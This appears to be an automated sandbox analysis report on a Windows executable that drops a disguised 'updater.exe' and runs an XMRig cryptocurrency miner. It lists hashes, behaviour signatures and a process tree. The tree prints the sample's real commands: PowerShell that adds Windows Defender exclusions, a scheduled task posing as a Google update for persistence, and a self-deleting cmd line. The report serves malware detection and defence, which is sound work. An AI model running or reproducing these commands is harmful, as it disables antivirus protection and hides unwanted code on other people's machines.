Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
24-10-2024 20:12
241024-yyvg5asemn 1024-10-2024 20:11
241024-yygk9ssemk 1024-10-2024 20:11
241024-yygahasemj 1024-10-2024 20:11
241024-yyd55sselq 1024-10-2024 20:08
241024-yw247asdqp 1024-10-2024 20:08
241024-yw1lcssdqn 1024-10-2024 20:08
241024-ywx58ssdql 1022-08-2024 20:59
240822-zs4paaxemb 1022-08-2024 20:59
240822-zs2jxszern 1022-08-2024 20:59
240822-zsy4ssxelg 10Analysis
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max time kernel
481s -
max time network
1798s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
22-08-2024 20:59
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240704-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240729-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20240704-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20240708-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240708-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20240705-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240704-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20240704-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240708-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240705-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240704-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20240708-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20240729-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240704-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240708-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2112 created 1240 2112 qM5GMXBk6hJE6Y5e (29).exe 21 PID 2112 created 1240 2112 qM5GMXBk6hJE6Y5e (29).exe 21 PID 2112 created 1240 2112 qM5GMXBk6hJE6Y5e (29).exe 21 PID 2112 created 1240 2112 qM5GMXBk6hJE6Y5e (29).exe 21 PID 2312 created 1240 2312 updater.exe 21 PID 2312 created 1240 2312 updater.exe 21 PID 2312 created 1240 2312 updater.exe 21 PID 1208 created 1240 1208 conhost.exe 21 PID 2312 created 1240 2312 updater.exe 21 PID 2312 created 1240 2312 updater.exe 21 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral29/memory/2984-44-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-43-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-46-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-48-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-50-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-52-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-54-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-56-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-58-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-60-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-62-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-64-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-66-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-68-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2984-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2100 powershell.exe 1236 powershell.exe 2736 powershell.exe 2500 powershell.exe -
Deletes itself 1 IoCs
pid Process 2724 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2312 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2620 taskeng.exe -
resource yara_rule behavioral29/memory/2984-39-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-44-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-43-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-46-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-48-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-50-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-52-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-54-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-56-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-58-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-60-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-62-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-64-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2984-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2312 set thread context of 1208 2312 updater.exe 49 PID 2312 set thread context of 2984 2312 updater.exe 56 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (29).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1504 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 908cb147f5f4da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2612 schtasks.exe 1812 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2112 qM5GMXBk6hJE6Y5e (29).exe 2112 qM5GMXBk6hJE6Y5e (29).exe 2100 powershell.exe 2112 qM5GMXBk6hJE6Y5e (29).exe 2112 qM5GMXBk6hJE6Y5e (29).exe 2736 powershell.exe 2112 qM5GMXBk6hJE6Y5e (29).exe 2112 qM5GMXBk6hJE6Y5e (29).exe 2112 qM5GMXBk6hJE6Y5e (29).exe 2112 qM5GMXBk6hJE6Y5e (29).exe 2948 powershell.exe 2312 updater.exe 2312 updater.exe 1236 powershell.exe 2312 updater.exe 2312 updater.exe 2500 powershell.exe 2312 updater.exe 2312 updater.exe 1208 conhost.exe 1208 conhost.exe 2312 updater.exe 2312 updater.exe 2312 updater.exe 2312 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2100 powershell.exe Token: SeDebugPrivilege 2736 powershell.exe Token: SeDebugPrivilege 2948 powershell.exe Token: SeDebugPrivilege 1236 powershell.exe Token: SeDebugPrivilege 2500 powershell.exe Token: SeDebugPrivilege 2312 updater.exe Token: SeAssignPrimaryTokenPrivilege 1504 WMIC.exe Token: SeIncreaseQuotaPrivilege 1504 WMIC.exe Token: SeSecurityPrivilege 1504 WMIC.exe Token: SeTakeOwnershipPrivilege 1504 WMIC.exe Token: SeLoadDriverPrivilege 1504 WMIC.exe Token: SeSystemtimePrivilege 1504 WMIC.exe Token: SeBackupPrivilege 1504 WMIC.exe Token: SeRestorePrivilege 1504 WMIC.exe Token: SeShutdownPrivilege 1504 WMIC.exe Token: SeSystemEnvironmentPrivilege 1504 WMIC.exe Token: SeUndockPrivilege 1504 WMIC.exe Token: SeManageVolumePrivilege 1504 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1504 WMIC.exe Token: SeIncreaseQuotaPrivilege 1504 WMIC.exe Token: SeSecurityPrivilege 1504 WMIC.exe Token: SeTakeOwnershipPrivilege 1504 WMIC.exe Token: SeLoadDriverPrivilege 1504 WMIC.exe Token: SeSystemtimePrivilege 1504 WMIC.exe Token: SeBackupPrivilege 1504 WMIC.exe Token: SeRestorePrivilege 1504 WMIC.exe Token: SeShutdownPrivilege 1504 WMIC.exe Token: SeSystemEnvironmentPrivilege 1504 WMIC.exe Token: SeUndockPrivilege 1504 WMIC.exe Token: SeManageVolumePrivilege 1504 WMIC.exe Token: SeLockMemoryPrivilege 2984 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2736 wrote to memory of 2612 2736 powershell.exe 35 PID 2736 wrote to memory of 2612 2736 powershell.exe 35 PID 2736 wrote to memory of 2612 2736 powershell.exe 35 PID 2724 wrote to memory of 328 2724 cmd.exe 40 PID 2724 wrote to memory of 328 2724 cmd.exe 40 PID 2724 wrote to memory of 328 2724 cmd.exe 40 PID 2948 wrote to memory of 2608 2948 powershell.exe 41 PID 2948 wrote to memory of 2608 2948 powershell.exe 41 PID 2948 wrote to memory of 2608 2948 powershell.exe 41 PID 2620 wrote to memory of 2312 2620 taskeng.exe 43 PID 2620 wrote to memory of 2312 2620 taskeng.exe 43 PID 2620 wrote to memory of 2312 2620 taskeng.exe 43 PID 2500 wrote to memory of 1812 2500 powershell.exe 48 PID 2500 wrote to memory of 1812 2500 powershell.exe 48 PID 2500 wrote to memory of 1812 2500 powershell.exe 48 PID 2312 wrote to memory of 1208 2312 updater.exe 49 PID 1232 wrote to memory of 1504 1232 cmd.exe 54 PID 1232 wrote to memory of 1504 1232 cmd.exe 54 PID 1232 wrote to memory of 1504 1232 cmd.exe 54 PID 2312 wrote to memory of 2984 2312 updater.exe 56 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1240
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2100
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2612
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2948 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2608
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:328
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1236
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1812
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1208
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2592
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1232 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1504
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2984
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C:\Windows\system32\taskeng.exetaskeng.exe {B3F86256-5A80-4412-9949-0E64CF82BE88} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2312
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5ba7c9e4c565ce0d4aae7a4f130f754c1
SHA15baa391f7a6f3bd333f7e8545d8337d5dbbc63da
SHA2561357520bce8fb5d5dd1ae574079cd6932b0d2fdbf89e0ae15912b2042078e2ea
SHA512ce7df04041ed6236e9600ea33879363012f193ba35e9f3420c0514e5d23e6ba0d5c989bdaa22f9a56f5874f4484654c1ddfa0505104605b77f565654fe1d6f65
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6